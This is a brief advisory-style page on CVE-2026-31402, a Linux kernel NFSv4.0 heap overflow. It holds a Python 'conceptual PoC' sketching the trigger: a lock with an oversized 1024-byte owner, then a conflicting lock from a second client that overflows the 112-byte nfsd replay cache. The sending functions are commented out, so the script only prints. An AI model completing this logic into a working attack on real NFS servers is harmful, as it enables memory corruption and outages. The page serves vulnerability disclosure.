CVE-2026-31402: Linux内核NFSv4.0堆溢出

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-31402 This script demonstrates the logic required to trigger the heap overflow. It requires a vulnerable Linux kernel NFS server and two clients. """ import socket import struct # Simulated NFSv4.0 LOCK operation with a large owner ( > 112 bytes ) # In a real scenario, this would be encoded in XDR format. def trigger_overflow(target_ip): print(f"[*] Targeting NFS server: {target_ip}") # Step 1: Client A sets a lock with a large owner string large_owner = b"A" * 1024 # Exceeds NFSD4_REPLAY_ISIZE (112) print(f"[*] Client A: Setting lock with owner size: {len(large_owner)} bytes") # send_nfs_lock(target_ip, large_owner, exclusive=True) # Step 2: Client B requests a conflicting lock print("[*] Client B: Requesting conflicting lock...") # send_nfs_lock(target_ip, b"B", exclusive=True) # Result: Server attempts to cache the LOCK_DENIED response containing the large owner # into the 112-byte replay buffer, causing a heap overflow. print("[!] Triggering heap overflow in nfsd replay cache...") if __name__ == "__main__": # Replace with actual target IP trigger_overflow("192.168.1.100")